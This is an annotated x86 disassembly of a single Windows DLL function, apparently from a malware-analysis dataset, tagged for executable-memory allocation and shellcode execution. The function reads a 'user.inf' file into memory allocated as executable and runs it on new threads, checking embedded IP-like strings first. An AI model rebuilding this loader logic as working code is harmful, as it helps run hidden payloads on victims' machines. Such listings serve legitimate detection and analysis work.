Function at 0x10001bb7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x53c
mov eax, dword [0x10023040]
xor eax, esp
mov dword [esp + 0x538], eax
push ebx
push esi
push edi
mov esi, 0x104
lea eax, [esp + 0x130]
push esi
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x10001c09
push 0x10
push str.ERROR
push 0x10020f24
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [esp + 0x130]
push 0x5c
push eax
call fcn.10003a4b
pop ecx
pop ecx
test eax, eax
je 0x10001c23
xor ecx, ecx
mov word [eax], cx
lea eax, [esp + 0x130]
push eax
push 0x10020f38
lea eax, [esp + 0x340]
push esi
push eax
call fcn.10001032
add esp, 0x10
lea edx, [esp + 0x18]
lea ecx, [esp + 0x338]
call fcn.10001950
mov edx, 0x10020ed0
mov ecx, str.1171.8.167.71
call fcn.10001a10
test eax, eax
je 0x10001e34
mov edi, 0x10020ef4
mov ecx, 0x10020ed4
mov edx, edi
call fcn.10001a10
test eax, eax
je 0x10001e34
mov edx, edi
mov ecx, str.180.163.235.135
call fcn.10001a10
test eax, eax
je 0x10001e34
push 0x1000115a
push 1
call dword [sym.imp.KERNEL32.dll_AddVectoredContinueHandler]
mov ebx, dword [sym.imp.USER32.dll_MessageBoxW]
test eax, eax
jne 0x10001cbc
push 0x10
push str.ERROR
push 0x10020f64
push 0
call ebx
call fcn.100015ed
test eax, eax
jne 0x10001cd1
lea edx, [esp + 0x338]
call fcn.10001178
push esi
lea eax, [esp + 0x2c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10001cf2
push 0x10
push 0x10020e1c
push 0x10020f88
push eax
call ebx
lea eax, [esp + 0x28]
push 0x5c
push eax
call fcn.10003af0
pop ecx
pop ecx
test eax, eax
je 0x10001d07
mov byte [eax], 0
push str.user.inf
lea eax, [esp + 0x2c]
push esi
push eax
call fcn.1000b739
add esp, 0xc
lea ecx, [esp + 0x28]
call fcn.100017d7
push 0x40
push 0x1000
mov esi, eax
mov ebx, edx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x10001d57
push 0x10
push 0x10020e1c
push 0x10020f88
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
push ebx
call fcn.1000b441
pop ecx
lea eax, [esi + 0x400]
test esi, esi
je 0x10001db1
test edi, edi
jne 0x10001d72
call fcn.1000b330
mov dword [eax], 0x16
jmp 0x10001dac
test ebx, ebx
je 0x10001d87
cmp eax, esi
jb 0x10001d87
push esi
push ebx
push edi
call fcn.10005530
add esp, 0xc
jmp 0x10001db1
push eax
push 0
push edi
call fcn.10003e40
add esp, 0xc
test ebx, ebx
je 0x10001d65
lea eax, [esi + 0x400]
cmp eax, esi
jae 0x10001db1
call fcn.1000b330
mov dword [eax], 0x22
call fcn.1000b24f
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3a98
call esi
push 0x1000115a
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push 0x1b58
call esi
xor ebx, ebx
lea eax, [esp + 0x10]
push ebx
push 0x10001b32
push eax
call fcn.1000355c
add esp, 0xc
mov esi, eax
lea eax, [esp + 0x18]
push ebx
push edi
push eax
call fcn.1000355c
add esp, 0xc
cmp esi, 4
je 0x10001e5b
cmp eax, 4
je 0x10001e5b
push ebx
push dword [esp + 0x18]
push dword [esp + 0x18]
call fcn.100035e8
add esp, 0xc
push ebx
push dword [esp + 0x20]
push dword [esp + 0x20]
call fcn.100035e8
add esp, 0xc
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x10001c02
push ebx
push str.TEST
push 0x10020fac
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, dword [esp + 0x544]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10002055
mov esp, ebp
pop ebp
ret
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call fcn.100035db
int3